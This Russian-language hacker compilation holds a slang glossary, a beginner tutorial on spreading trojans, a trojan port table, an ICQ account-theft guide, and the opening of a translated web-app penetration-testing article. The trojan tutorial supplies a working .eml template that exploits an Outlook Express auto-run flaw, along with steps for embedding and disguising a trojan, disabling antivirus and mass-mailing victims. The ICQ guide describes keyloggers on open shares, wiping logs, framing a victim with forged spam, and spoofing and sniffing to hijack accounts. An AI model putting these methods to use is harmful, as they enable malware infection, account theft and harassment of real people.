Ламер – ламо, юзер ушастый, чайник.

Милиция – доблестная милиция, погоны, ребята в погонах, серые братья.

Член – банан, перец, поршень, маленький друг.

Положительные эмоции – описюнительно, рулез, кул, зашибись, в шоколаде, рулит, рульно, мегаваттно, колбасит.

Отрицательные эмоции – отстой, сакс, не фантан, сукс, шняга, гимор, подстава.

Программа – прога, софтина, софт, тулз.

IRC – ирка, мирк.

ICQ – ася, аська.

Почтовый клиент – мейлер, мылер, почтовик, почтальон.

Послать письмо – замылить, намылить, мыльнуть, отмылить.

Скачать что-нибудь – слить, залить.

Интернет – инет, сеть, паутина.

Web страница – пага, сайт

Фидошник – фидор, фидорас, фидорила, фидорило.

Игрок – гамер, геймер, гейм бой, квакер.

Играть – гамиться, рубиться.

Игра– гамес, игруха, гама.

Пользователь – юзер, юзверь, юзарь.

Использовать что-то - юзать, поиметь, поюзать, пощупать.

Какое-то действий хакера – хачить, ломать, крякать.

Украсть – спереть, стырить, скомуниздить.

Найти - достать, наковырять, надыбать, нарыть.

Доллары - баки, баксы, зелёные, крокодилы, зелень, американские президенты, зелёные президенты, грины, баказоиды, вечнозелёные.

Деньги – бабки, лавэ/лавэшки, бабло.

Прозвище - ник, кликуха, никнейм.

Windows - винды, окошки, окна, форточки, мастдай, вынь, винь, MD.

Unix/Linux/BSD – юникс, уних, юних, линух, пингвин, слак, шапка, мэндрэйк, бздя, *nix.

Ошибка – бага, баг.

Заплатка или патч – припарка, затычка, прокладка.

Не работает – не фурычит, глючит, бажит, двинула кони, склеила ласты, кирдыкнулся.

Наплевательски отнестись – забить, положить, задвинуть.

Развлекаться – отрываться, отлетать, угорать, торчать, кайфовать, колбаситься, зажигать, оттягиваться.

Заниматься сексом – иметь, тараканить, дуплить, пилить.

Сумасшедший - крэзи, псих, чудик, шизик, шизо, шибанутый, гость из Белых столбов, мэдди.

Испугаться – сдрейфить, положить в штаны, сесть на измену.

Обидеть – поиметь, натянуть, вздрючить, кинуть, обломать.

Врать/обманывать – прогонять, гнать, заливать, мозги тараканить.

Думать – включать мозгу.

Встретиться – свидеться, сконнектиться, законектиться.

Старый – поюзаный, юзаный, занюханный, битый, древний.

Кнопка – кнопа, батон, кей, пимпа.

Программировать - кодить, шкодить.

Фишка, фенька, феня – что-то необычное.

Фича - это может указывать на что угодно.


trojan_inside

Эффективный способ впаривания троянов

Сразу предупреждаю что статья написанна для новичков в этом деле, поэтому не надо кричать и махать руками что типа всё это знаем и умеем, может вы и знаете и умеете, а другие только начинают учится и думаю им это будет полезно знать. Я знаю что об этом статьи уже писались и поэтому не претендую на полное авторство, но в тех статьях которые я видел всё описывалось скупо, отдельно, несвязанно с друг другом и неподробно, я же попытаюсь всё конкретизировать, обобщить и разложить по полочкам (даже разжевать:) так чтоб любой более менее начинающий юзверь мог во всё врубится. И так что для этого понадобится:
  • The Bat! – один из лучших почтовых клиентов, (как у тебя его ещё нет, давай сейчас же дуй в какой нить поисковик , ищи его, скачивай, устанавливай и сноси нафиг свой ОутглюкЕхпресс, а то трояна впаришь не ты , а его впарят тебе, причём без твоего согласия).
  • Zender – спецальная программа для посылки писем с трояном в дыру Оутглюка (качать с http://www.hack-it.by.ru/soft), о ней чуть ниже и поподробнее.
  • Троян - в принципе любой, желательно чтоб не палящийся был.
  • Ну и ещё какой нить joiner, их сейчас много развелось так что сами выбирайте, и желательно чтоб он умел менять иконки и закрывать анитивирусы и фаирволы ( и всего то….J).
И так способ этот рулит в Windows 95-98SE (без заплаток) и если установлен основной почтовый клиент это их же OutlookExpress 5.0, они сейчас пока наиболее распространены и в основном большинство народа юзает их….. да да WindowsХреновоРаботает ещё мало кто поставил…. Так что шансы нарваться на таких у вас большие (небось сами на этом софте то сидите ;-).
И так как вы раньше рассылали ламерам трояна, брали просто атачили к письму файл с троянам, писали какой нить текст в письме чтоб жертве захотелось открыть его, рассылали по спам листам и надеялись на то что найдётся жертва которая окажется полным ламерьём и откроет приатаченный файл и вот ты уже летишь по халявному инету или форматируешь ламеру диск :) ( а может и идёшь по тёмному коридору заложив руки за спину в сопровождении дяденьки с отдела «Рэ» :) , но щас народ уже в основном учёный пошёл и просто так файлы пришедшие почтой не открывает, а для начала бережно сохраняет на диск и потом с упоением насилует их всякими там АВП , Докторами Вьебами и Нортонами, а потом уже думает открывать его или нет. Ну…..нам это надо . Какой шанс что кто то откроет и запустит к себе твою коняшку…..правильно шанс просто мизерный.
Поэтому то нам надо сделать так чтоб файл в письме запустился автоматически как только жертва получит это письмо ….. ну …хорошо же чтоб так было… и не надо ни кого уговаривать ( ещё раз подчеркну что рулит всё в Win9x и OE 5.0 ). И так для начала создаём файл mail.eml , затем открываем его в любом текстовом редакторе (желательно в WordPad) и вставляем в него такую вот запись:

From: SuperMegaXaker <xaker@xakep.ru>
To: <lamer@microsoft.com>
Subject: !!!!!Poluchai gad troyana!!!!
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="Troyan.jpg.exe”
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

На этом месте будет файл трояна в base-64 кодировке…….(внешне будет выглядеть как большой и ровный блок текста )

--====_ABC1234567890DEF_====

--====_ABC1234567890DEF_====--

Кстати в проге zender уже лежит пример готового файл Mail.eml с уже вложенным туда трояном. Открыв его также в текстовом редакторе вы и увидете как в нём будет выглядит сам файл трояна тесктом, он там как раз и будет в base-64 кодировке. Выглядеть это будет примерно вот так:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA
AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAAAA
4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC
BiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB
QRQAATAEDAGVj+zwAAAAAAAAAAOAADwELAQED
ABAAAAAQAAAAYAAA4HkAAABwAAAAgAAAAABAAA
AQAAAAAgAAAQAAAAAAAAAEAAAAAAAAAACQAAAA
EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAA
ABAAAAAAAAAAAAAAAKSDAAB0AQAAAIAAAKQDAA
AAAAAAAAAAAAAAAAAAААА

Это и есть сам файл трояна , просто он в кодировке base-64.
Но только не открывайте этот файл вашим Оутглюком, так как у автора проги видно есть «чуство юмора» и он вместо того чтоб вложить в это письмо для примера какую-нить безобидную программку…. вложил туда настоящего своего трояна и если вы это письмо откроете своим Оутглюком то он сразу автоматически запустится у вас на компе. Ну а вы думаете почему я вас Bat поставить просил. Да и ещё установите в Бате в настройках ассоциации файлов .eml с Батом и тогда такие файлы у вас будут открыватся не в Оутглюке а в Бате и вы сможете их спокойно открывать и смотреть, так как в Бате такого бага как в Оутлюке нету.
И так письмо у нас есть, теперь в него надо вставить трояна. И что надо сделать чтобы вставить в ваше в письмо mail.eml уже сконфигурированного вами вашего родного трояна и как узнать как он выглядит в base-64 кодировке. Для этого нам и пригодится Бат. Открываем его. В нём создаём новое письмо, присоединяем к нему вашего трояна и жмём на кнопочку отправить , не важно кому так как мы его отправлять ни куда не собираемся, письмо соответственно попадёт в папку «Исходящие» (это если у вас Бат русифицирован), но нам оно там нам не нужно поэтому берём и перемещаем его в папку «Входящие» (просто перетаскиваем мышкой), затем открываем его там щёлкая по нему два раза и ищем в открывшемся окне вверху меню «Спецальное» а в нём выбираем «исходный текст» и увидим наше письмо токлько файл с нашим трояном будет там как раз в нужной нам base-64 кодировке, я уже говорил как он будет выглядеть (внешнее похоже на большой блок ровного и непрерывного текста), так вот выделяем именно только этот текст и копируем его в буфер обмена (для тех кто не знает кто это такая «буфер обмена» то копируйте в простой текстовой документ :). Затем открываем наше уже заготовленное письмо mail.eml в текстовом редакторе и вставляем этот текст заместо того который я уже писал выше:

На этом месте будет файл трояна в base-64 кодировке…….(внешне будет выглядеть как большой и ровный блок текста)

Саму эту надпись конечно же удаляем!!! Сории что объясняю как даунам каким то , но ведь блин найдутся те которые так и не врубятся куда что и заместо чего вставлять.
Так же можете взять пример письма из проги Zender (там он называется Mail.eml) и так же открыв его в тестовом редакторе удалить из него только текст (в base-64 кодировке) файла с трояном автора и вставить туда текст (в base-64 кодировке) уже своего сконфигурированного трояна. Кстати не забудьте поменять в файле строки From , To и Subject на нужные вам, и ещё поменяйте в строке Name="имя_трояна.exe" на что нибудь другое типа name="my_sexy_foto.jpg.exe".
То что вы там поставите и будет отбражаться в полях письма From, To, Subject и имя приатаченного файла , которое получит жертва. Кстати нам так же пригодится и Joiner , склейте с трояном какую нить фотку, потому что не у всех может Оутглюк стоять и когда жертва будет открывать файл уже самостоятельно ей предстанет перед глазами эта фотка, а ваш троян в это время будет делать своё грязное дело.
Да, ещё за место расширения файла .exe можно поставаить .scr – это расширение у скринсейверов (программ-заставок) но действовать будет так же как и с .exe , просто таким образом можно немного усыпить бдительность жертвы. Сохраняемся, и всё письмо с трояном mail.eml готово. Теперь если открыть это письмо Оутглюком то файл автоматически запустится. Теперь о том как пользоваться Zenderom для отсылки этого письма, потому как обычной почтовой програмой его не отошлёшь так как она поменяет все заголовки на другие и троян в письме уже автоматически не запустится . Для начала прочтите там файл с описанием. Если не поняли то объясню на пальцах. В начале кладёте ваше письмо mail.eml в папку с Zenderom.
Там же в папке есть файл user.txt . Он нам и нужен для рассылки. В первой строчке после from= пишем любой существующий адрес на каком нить бесплатном мыльном сервисе, главное чтоб он там существовал и чтоб сервак имел smtp сервер. Ну например from=vasya@mail.ru . Он в принцепе не имеет большого значения и нужен для того чтоб прога могла через этот мыльный сервак и его smtp сервер разослать письмо уже на адреса ваших жертв. А вот на следущей строчке уже просто пишите адреса ваших жертв, их может быть сколь угодно много главное чтоб они все начинались с новой строки. Теперь запускаете саму прогу zender.exe и она разашлёт ваше письмо с трояном по всем этим адресам. Кстати у проги нет интерфейса ( т.е. ни каких окошечек у вас не появится) , так что следить за тем как она рассылает письмо можно будет по самому соединению (значок который мигает у вас в трее когда вы подключаетесь к инету). Когда она разошлёт письмо по всем указаным вами адресам то появится окошко с надписью All done это значит что письмо разослано. А если вы рассылаете не на один адресс, а например по спам листу на несколько десятков адрессов, то чтоб не ждать пока прога разошлёт файл по всем этим адрессам и не терять много драгоценного время в инете делайте так….. заведите себе например на рамблере любое мыло и поставтье на нём переадресацию на имеющиеся у вас многочисленные адресса жертв, а в файле user.txt заместо адрессов жертв напишите всего один адрес этого вашего мыла на рамблере и всё, теперь запустите прогу и она пошлёт письмо на этот адресс, а уж сервак рамблера сам сделает за вас всю грязную работу и разашлёт письмо по всем адресам которые вы указали в переадресации.
Так что теперь эфективность рассылки трояна у вас значительно повысится по сравнению с тем как вы его раньше рассылали простым дедовским способом :)))). Так как ещё много тех кто сидит на Вынь9х и Отглюках :).
Кстати щас само письмо mail.eml сосотавленное таким вот образом чтоб автоматически запускался приатаченный к нему файл определяется многими антивирусами как троян даже если вы туда ещё ни кого трояна и не вставляли, у меня например мой ДокторВъеб ругается на это письмо что типа это troyanIframe :)))), правда если письмо лежит в каком zip архиве то он на него молчит, хотя ведь сами архмвы он шмонать умеет хорошо, вот так то, так что на время составления письма придётся выгружать ваши антивирусные мониторы , а то ведь работать нормально не дадут :)).
Ну вот и всё. По моему всё понятно рассказал. У кого будут какие вопросы пишите (можете даже такие вот письма с автозапуском… у меня всё равно Бат стоит :))))). Удачи.


Порты троянских прог

Номер порта | Тип соединения | Имя трояна
21 | TCP | Back Construction, Blade Runner, Doly Trojan, Fore, FTP trojan, Invisible FTP, Larva, WebEx, WinCrash
23 | TCP | Tiny Telnet Server
25 | TCP | Ajan, Antigen, Email Password Sender, Happy 99, Kuang2, ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy
31 | TCP | Agent 31, Hackers Paradise, Masters Paradise
41 | TCP | DeepThroat
59 | TCP | DMSetup
79 | TCP | Firehotcker
80 | TCP | Executor, RingZero
99 | TCP | Hidden Port
110 | TCP | ProMail
113 | TCP | Kazimas
119 | TCP | Happy 99
121 | TCP | JammerKiller
421 | TCP | TCP Wrappers
456 | TCP | Hackers paradise
531 | TCP | Rasmin
555 | TCP | Ini-Killer, Phase Zero, Stealth Spy
666 | TCP | Attack FTP, Satanz Backdoor
911 | TCP | Dark Shadow
999 | TCP | DeepThroat
1001 | TCP | Silencer, WebEx
1010 | TCP | Doly
1011 | TCP | Doly
1012 | TCP | Doly
1015 | TCP | Doly
1024 | TCP | NetSpy
1042 | TCP | Bla
1045 | TCP | Rasmin
1090 | TCP | Xtreme
1170 | TCP | Psyber Stream Server, Streaming Audio trojan
1234 | TCP | Ultors
1243 | TCP | BackDoor-G, SubSeven, SubSeven Apocalypse
1245 | TCP | VooDoo Doll
1269 | TCP | Mavericks Matrix
1492 | TCP | FTP99CMP
1509 | TCP | Psyber Streaming Server
1600 | TCP | Shivka-Burka
1807 | TCP | SpySender
1981 | TCP | Shockrave
1999 | TCP | BackDoor, TransScout
2023 | TCP | Ripper
2115 | TCP | Bugs
2140 | TCP | Deep Throat, The Invasor
2155 | TCP | Illusion Mailer
2283 | TCP | HVL Rat5
2565 | TCP | Striker
2583 | TCP | WinCrash
2600 | TCP | Digital RootBeer
2801 | TCP | Phineas Phucker
3024 | TCP | WinCrash trojan
3128 | TCP | RingZero
3129 | TCP | Masters Paradise
3150 | TCP | Deep Throat, The Invasor
3459 | TCP | Eclipse 2000
3700 | TCP | Portal of Doom
3791 | TCP | Eclypse
4092 | TCP | WinCrash
4321 | TCP | BoBo
4567 | TCP | File Nail
4590 | TCP | ICQTrojan
5000 | TCP | Bubbel, Back Door Setup, Sockets de Troie
5001 | TCP | Back Door Setup, Sockets de Troie
5011 | TCP | One of the Last Trojans (OOTLT)
5031 | TCP | Firehotcker
5321 | TCP | Firehotcker
5400 | TCP | Blade Runner
5401 | TCP | Blade Runner
5402 | TCP | Blade Runner
5550 | TCP | Xtcp
5555 | TCP | ServeMe
5556 | TCP | BO Facil
5557 | TCP | BO Facil
5569 | TCP | Robo-Hack
5631 | TCP | PCAnyWhere data
5742 | TCP | WinCrash
6400 | TCP | The Thing
6669 | TCP | Vampyre
6670 | TCP | DeepThroat
6771 | TCP | DeepThroat
6776 | TCP | BackDoor-G, SubSeven
6912 | TCP | Shit Heep
6939 | TCP | Indoctrination
6969 | TCP | GateCrasher, Priority, IRC 3
6970 | TCP | GateCrasher
7000 | TCP | Remote Grab
7300 | TCP | NetMonitor
7301 | TCP | NetMonitor
7306 | TCP | NetMonitor
7307 | TCP | NetMonitor
7308 | TCP | NetMonitor
7789 | TCP | Back Door Setup, ICKiller
8080 | TCP | Ring Zero
9400 | TCP | InCommand
9872 | TCP | Portal of Doom
9873 | TCP | Portal of Doom
9874 | TCP | Portal of Doom
9875 | TCP | Portal of Doom
9876 | TCP | Cyber Attacker
9878 | TCP | TransScout
9989 | TCP | iNi-Killer
10101 | TCP | BrainSpy
10520 | TCP | Acid Shivers
10607 | TCP | Coma trojan
11000 | TCP | Senna Spy
11225 | TCP | Progenic
12076 | TCP | Gjamer
12223 | TCP | Hack?99 KeyLogger
12345 | TCP | GabanBus, NetBus, Pie Bill Gates, X-bill
12346 | TCP | GabanBus, NetBus, X-bill
12361 | TCP | Whack-a-mole
12362 | TCP | Whack-a-mole
12631 | TCP | WhackJob
13000 | TCP | Senna Spy
16969 | TCP | Priority
17300 | TCP | Kuang2 The Virus
20000 | TCP | Millennium
20001 | TCP | Millennium
20034 | TCP | NetBus 2 Pro
20203 | TCP | Logged
21544 | TCP | GirlFriend
22222 | TCP | Prosiak
23456 | TCP | Evil FTP, Ugly FTP
23476 | TCP | Donald Dick
23477 | TCP | Donald Dick
27374 | TCP | Sub Seven 2.0+
30029 | TCP | AOL trojan
30100 | TCP | NetSphere 1.27a, NetSphere 1.31
30101 | TCP | NetSphere 1.31, NetSphere 1.27a
30102 | TCP | NetSphere 1.27a, NetSphere 1.31
30103 | TCP | NetSphere 1.31
30303 | TCP | Sockets de Troie
30999 | TCP | Kuang2
31336 | TCP | Bo Whack
31337 | TCP | Baron Night, BO client, BO2, Bo Facil, BackFire, Back Orifice, DeepBO
31339 | TCP | NetSpy DK
31666 | TCP | BOWhack
31785 | TCP | Hack Attack
31787 | TCP | Hack Attack
31789 | TCP | Hack Attack
31791 | TCP | Hack Attack
33333 | TCP | Prosiak
33911 | TCP | Spirit 2001a
34324 | TCP | BigGluck, TN
40412 | TCP | The Spy
40421 | TCP | Agent 40421, Masters Paradise
40422 | TCP | Masters Paradise
40423 | TCP | Masters Paradise
40426 | TCP | Masters Paradise
50505 | TCP | Sockets de Troie
50766 | TCP | Fore, Schwindler
53001 | TCP | Remote Windows Shutdown
54320 | TCP | Back Orifice 2000
54321 | TCP | School Bus .69-1.11
60000 | TCP | Deep Throat
61466 | TCP | Telecommando
65000 | TCP | Devil
1349 | UDP | BO dll
2989 | UDP | RAT
3801 | UDP | Eclypse
10067 | UDP | Portal of Doom
10167 | UDP | Portal of Doom
26274 | UDP | Delta Source
29891 | UDP | The Unexplained
31337 | UDP | Baron Night, BO client, BO2, Bo Facil, BackFire, Back Orifice, DeepBO
31338 | UDP | Back Orifice, NetSpy DK, DeepBO
31789 | UDP | Hack aTack
31791 | UDP | Hack aTack
47262 | UDP | Delta Source
54321 | UDP | Back Orifice 2000


Охота за ICQ UIN

Охота за UINом - Bugs, Crack и Social Ingineering

Эпилог:

"Mirabilis, the Israeli company that developed ICQ, states that the free system was not designed for "mission critical" or "content sensitive" communications..."

Итак я вышел на тропу войны: хочу быть смелым и красивым, с шестизначным UIN номером и что б все поняли что миллионные числа это не серьезно, вот посмотрите на меня - я был одним из первых пользователей или неважно кем я был, важнее кем я стал. А как я стал, сейчас расскажу:

1. Приходи кто хочет, бери что хочет

На мой взгляд самый реальный и предельно простой способ: исследование Интернет Сервис Провайдера и соседских сетей на предмет пользователей кто имеет открытые зашаренные диски и не защитили их пассвордом. Находяться такие люди Легионом. Из пяти сотен проверенных компьютров более тридцати имело открытым диск C:\ с полным доступом. Все они являлись пользователемя ICQ. Выбор UINов просто потрясающий - от 20xxxx до 80xxxxx. Смотрим C:\Program Files\ICQ\UIN и видим number.uin - внутри этого файла всего лишь несколько строк с информацией о номере, имени, нике и емейл адресе хозяина. Если номер устраивает ставится keyboard sniffer который запишет в лог все то что пользователь введет в клавиатуры.

ICQ имеет три уровня секьюрити - Low, Medium и High. Чем выше уровень секьюрити у пользователя тем быстрее получается полный доступ к его пассворду. Иными словами чем выше уровень защиты - тем больше вероятность что жертва введет пассворд для того что б использовать ICQ. Ставится троян для облегчения дальнейшего доступа и перезагружается машина (перезагрузка машины зависит от многочисленых факторов, от операционной системы до скорости подсоединея к сети). При благоприятном стечении обстоятельств получение пассворда к выбранному UINу займет деять от силы двадцать минут - ровно столько сколько потребуется на reboot, дозвонку на провайдера, запуск ICQ и введение пассворда, далее берется лог созданный keyboard snifferom и читается пассворд. Все.

Более того возможность того что после всего этого остануться какие либо логи или иные следы взлома ничтожно мала: уничтожается лог, sniffer и троян.

2. А что вы уже уходите? А что у вас еще что то осталось?

Начнем с того что если вы зарегестрировали аккаунт и забыли к нему пассворд, достаточно заявить свой UIN на http://www.icq.com/password/ и в течении нескольких дней служба технической поддержки ICQ вышлет на указанный вами при регистрации емейл адрес забытый пассворд.

Теперь рассмотрим это с позиции хакера - для того что б получить пассворд к опредленному UINу надо лишь заявить о потери памяти и пойти проверить емейл.

Как прочитать сообщение адресованное не вам это другая история. Например существует POP3 Password Crack - имя логина и домайн нам уже известны. Главное это предельно правильно индентифицировать систему и тип сервера аккаунт на котором необходимо проверить и искать инструменты взлома этой конкретной конфигурации. Например несколько дней назад разразился громкий скандал по поводу hotmail.com в связи с очередной недороботкой славной фирмы Микрософт дающей возможность миллионам людей право читать емейл друг друга чего они совершенно делать не должны.

Рассмотрим конкретный вариант : некто Вася Табуреткин зарегестрировал себе ICQ аккаунт под номером 777777. Какой замечательный UIN! Смотрим какой у Васи емейл, видим vasya@something.com. По номеру UINа можно сделать вывод что он был зарегестрирован более 2 лет назад. Если sometihg.com является публичным бесплатным емейл сервисом вполне может обнаружиться что Вася этот аккаунт не пользовал и более такого адреса не существует. Как результат происходит регистрация точно такого же аккаунта, заявляется о потери пассворда и проверятся новый емейл на предмет пассворда от 777777.

Существует другой , более сложный варинт игры : лишeние Васи обладания его емейл адресом.

Есть конкретные правила поведения пользователей сервиса (например : email - нельзя спамить, web - нельзя порнографии), нарушая которые пользователи как правило лишаются права на адрес или вебстраницу. Кто мешает хакеру написать несколько десятков тысяч воззваний о легализации детской порнографии и проституции от имени vasya@something.com? Установите тип сервера, узнайте язык общения с ним клиента и пошлите все эти воззвания самому себе и своим друзьям (или на свои другие емейл аккаунты) указав обратным адресом vasya@something.com. Далее вы и ваши друзья должны будете переправить все "полученное" от Васи по адресу администратора домейна с нотой проста против легализации и просьбой наказать виновного. "Послания" Васи следует уничтожить и в завязавшейся переписке с администрацией сообщить что следов преступения осталось мало: вы все стерли так как были шокированны и праведный гнев обуял вас так сильно что всем подьездом вас держали. Попросите администратора обязательно держать вас в курсе дела. Далее пошлите сообщение того же самого содержания используя Васин обратный адрес вашим другим друзьям или на ваши другие аккаунты и напишите администрации о этом безобразии в других словах. Создайте видимость что этот Вася шлет тысячами сообщения о нелегальных вещах группе незнакомых между собой людей... Прогнозирую до 80% успеха, у Васи отнимут аккаунт, о чем вам заявят как о большом достижении в борьбе с спамерами и рассадниками порнографии. Вы в тот же день зарегестрируете аккаунт на себя и заявите о потере пассворда. В итоге у вас долгожданный UIN и твердая уверенность в том что если вы имеете бесплатный емейл - никто никогда у вас его не отнимет.

3. Попытка не пытка, как говорил товарищ Берия

Поиграем с тем что ICQ имеет лимит на длинну пассворда 8 знаков. В Windows среде поменять пассворд на свой UIN нельзя или достаточно сложно - для этого существует функция в клиенте. В Linux например в большинстве случаев имеется файл в котором существует графа password куда пользователь вписывает свой пассворд(при возможности хака юниксовой машины пассворд читается без малейших затруднений, но как получить доступ к домашней директории пользователя или доступ root это уже совершенно другой разговор).

Теперь давайте попробуем прописать в Linux ICQ клиент-конфигурационный файл тот самый желаемый вам UIN и пассворд из любого набора букв длинной в 9 а может и больше знаков. Попробовали?

При благоприятном стечении обстоятельств вы сможете получать и отправлять сообщения от лица выбранного вами UINa. Если ваш Linux ICQ клиент поддерживает любую длинну пассворда и возможность его смены на сервере - вы берете тот аккаунт который вам нравиться.

Данный баг работал достаточно долго и надеюсь создатели ICQ защитили своих клиентов, но кто знает...

4. Она же... Валентина Понеяд... Она же...

Вопрос: Может ли кто либо изменить пассворд моего ICQ аккаунта без получения доступа на мой компьютр и емейл?

Ответ : Да, отвечу я и посоветую искать инструмент взлома ICQ под названием "ICQhijeck". При наличии IP жертвы, его UINa и номера порта для связи с клиентом ICQhijeck пошлет spoofed пакет заявляющий о себе что пакет принадлежит самому клиенту и несет в себе задачу смены пассворда. Пассворд выбираете нападающий..

Кстати, использование сниффера вообще всегда является хорошей идей собирания информации.

Вопрос : меня зовут Петя Иванов , у меня в оффисе на одной со мной сетке сидит Маша Пилюлькина и она страшная стерва. Что я могу сделать с ней и ее ICQ ?

Ответ : испортить ей жизнь. Если вы находитесь на одном и том же фрагменте сети у вас все карты в руках, "ICQsniff" отдаст вам Машин пассворд, да и впрочем пассворды всех других пользователей ICQ в вашей конторе. Более того существуют методы перехвата сообщений от одного пользователя другому и коррекция их, например вы можете следить за перепиской Маши и вашего босса. Как только вам в этой переписке что то не понравиться можете сообщить боссу от лица Маши все что вы думаете о предмете обсуждения и заявить что он как начальник некомпетентен в этом вопросе, а вот например Петя Иванов гораздо умнее и так далее, так что давайте Пете Мерседес купим.

Вопрос : а где мне взять ICQhijeck, ICQsniff, keyboard sniffer, трояна и TCP/UDP sniffer и есть ли что либо еще такого интеесное где можно нажать кнопочку и все все хакнуть?

Ответ : Существует такое понятие как "Private Bug", нечто обнаруженное лишь вами и никому еще не известное. Вполне возможно что люди посвятивше много время изучению методам работы ICQ имеют очень мощные инструменты по работе с ним.

Но достанутся ли эти tools вам? Все зависит от вас, от вашего терпения, трудолюбия и любознательности. Не забудьте прибавить коммуникабельность и умение задать интересный вопрос знающему предмет обсуждения человеку. Вполне возможно вы все узнаете.

Если у вас нет друзей способных рассказать вам то что вы хотите знать, советую использовать большие поисковые системы типа www.yahoo.com. Не забудьте указать предмет поиска:)

5. Выйду на улицу, гляну на село...

Время рассмотреть методы защиты и что вы должны помнить если дорожите своим UINом и информацией передоваемой при помощи ICQ.

  1. Помните что существует вероятность что кто то может читать ваши сообщения и то что ICQ не является стандартом секретных коммуникаций.
  2. Имеются десятки программ способных вызвать сбой в работе вашего ICQ клиента, особенно если он работает в среде Windows. Следите за новостями публикуемыми на www.icq.com и пользуйте всегда последнюю версию ICQ, даже если старая имеет свои достоинства в виде безлимитного размера посылаемого сообщения. Вполне возможно что вы заплатите слишком дорогую цену за эту возможность.
  3. Имейте антивирусные программы и используйте их. Так же за ними необоходимо следить - брать новые библиотеки для обнаружения вирусов и троянов с вебсайта производителя программы.
  4. Не доверяйте безгранично публичным сервисам типа free emeil, free webhosting и так далее. Ничего удивительного в том что то кто то уничтожил все ваши файлы на страничке или прочел ваш емейл я не вижу. Вполне житейское дело, и , пожайлуста, не имейте публичного емейла адресом для контакта технического обслуживания ICQ с вами в случае потери пассворда.
  5. Будьте готовы к тому что в один прекрасный день вы обнаружите что ваш пассворд изменен и аккаунт вам не принадлежит. Обратитесь за помошью в технический суппорт.
  6. Ну и конечно следите за своим компьютером при использовании интернета - есть большой выбор программ показывающих вам кто, зачем, почему и когда пытался проникнуть на ваш компьютер.

Заключение : Иногда я сам лично думаю что вполне возможно что создатели ICQ в данный момент насчитывают несколько миллинов компьютеров в своей базе данных к которым они имеют полный доступ. Кто знает может быть ICQ это хорошо распостраненный троян? Сложное чувство признаюсь вам. Но я компьютерный параноик и поэтому у меня много работы.

На этой оптимистической ноте я желаю удачи вам и вашему UIN :)

Copyright (C)
Иван Миловидов aka KOT
Webmaster of www.russkie.com

PS: данная статья не является руководством к действию и автор не несет никакой ответственности за любые результаты применения техники или инструментов взлома или сбора информации описанных выше.


Тестирование web-приложений

Тестирование web-приложений "на проникновение" (часть 1)
Джоди Мельбурн, Дэвид Джорм, перевод Дмитрия Леонова

Это первая из трех статей, посвященных тестированию web-приложений. В ней приведены общие сведения о web-прилолжениях - как они работают, как взаимодействуют с пользователями и, самое важное, каким образом неграмотно написанный код web-приложения может открыть доступ к закрытым данным и системам в целом.

Замечание. Предполагается, что читатель имеет некоторое представление о протоколе HTTP - точнее, о формате запросов GET и POST и о назначении различных заголовков. Эта информация доступна в RFC2616.

Web-приложения становятся все более распространенными и все более сложными, играя таким образом основную роль в большинстве онлайновых проектов. Как и во всех системах, основанных на взаимодействии между клиентом и сервером, уязвимости web-приложений обычно возникают из-за некорректной обработки запросов клиента и/или недостаточной проверки входной информации со стороны разработчика.

Сама природа web-приложений - их способность сопоставлять, обрабатывать и распространять информацию через Internet - делает их дважды уязвимыми. Во-первых, что самое очевидное, они полностью открыты по причине необходимости обеспечения публичного доступа. Это делает невозможным применение техники "security through obscurity" (безопасность за счет сокрытия информации) и повышает требование к устойчивости кода. Во-вторых, что более важно с точки зрения тестирования на проникновение, они обрабатывают даныне, полученные из запросов HTTP-протокола - протокола, который может использовать множество способов кодирования и инкапсуляции информации.

Большинство сред, в которых выполняются приложения (включая ASP и PHP, оба из которых будут использованы в примерах), передают эти данные разработчику таким образом, что он оказывается не в состоянии определить, откуда они были получены и, следовательно, какой проверке должны быть подвергнуты. Поскольку web-среда столь разнообразна и содержит так много форм программируемого контента, контроль ввода и проверка осмысленности данных являются ключевыми факторами для обеспечения безопасности web-приложений. Это включает как выявление областей возможных значений для всех элементов данных, вводимых пользователем (и принудительное задание корректных значений), так и достаточное понимание того, откуда поступает информация, в целях определения тех данных, которые могут быть заданы пользователем.

Основная задача: проверка ввода на корректность

Ошибки, связанные с проверкой корректности ввода, часто довольно сложно обнаружить в большом объеме кода, взаимодействующего с пользователем. Это является основной причиной того, что разработчики используют методологию тестирования приложений на проникновение для их обнаружения. Web-приложения, однако, не имеют иммунитета и к более традиционным способам атаки. Весьма распространены плохие механизмы аутентификации, логические ошибки, непреднамеренное раскрытие информации, а также такие традиционные ошибки для обычных приложений как переполнение буфера. Приступая к тестированию web-приложений, необходимо учитывать все перечисленное, и должен применяться методический процесс тестирования ввода/вывода по схеме "черного ящика" в сочетании (если возможно) с аудитом исходного кода.

Как можно точно определить понятие web-приложения?

Web-приложение представляет собой систему, обычно включающую набор скриптов, расположенных на web-сервере и взаимодействующих с базами данных и другими источниками динамического контента. Они быстро становятся вездесущими, поскольку позволяют поставщикам услуг и их клиентам обмениваться и манипулировать информацией (часто) независимым от платформы способом с помощью инфраструктуры Internet. Примерами web-приложений являются поисковые системы, web-почты, онлайновые магазины и т.п.

Как это выглядит с точки зрения пользователя?

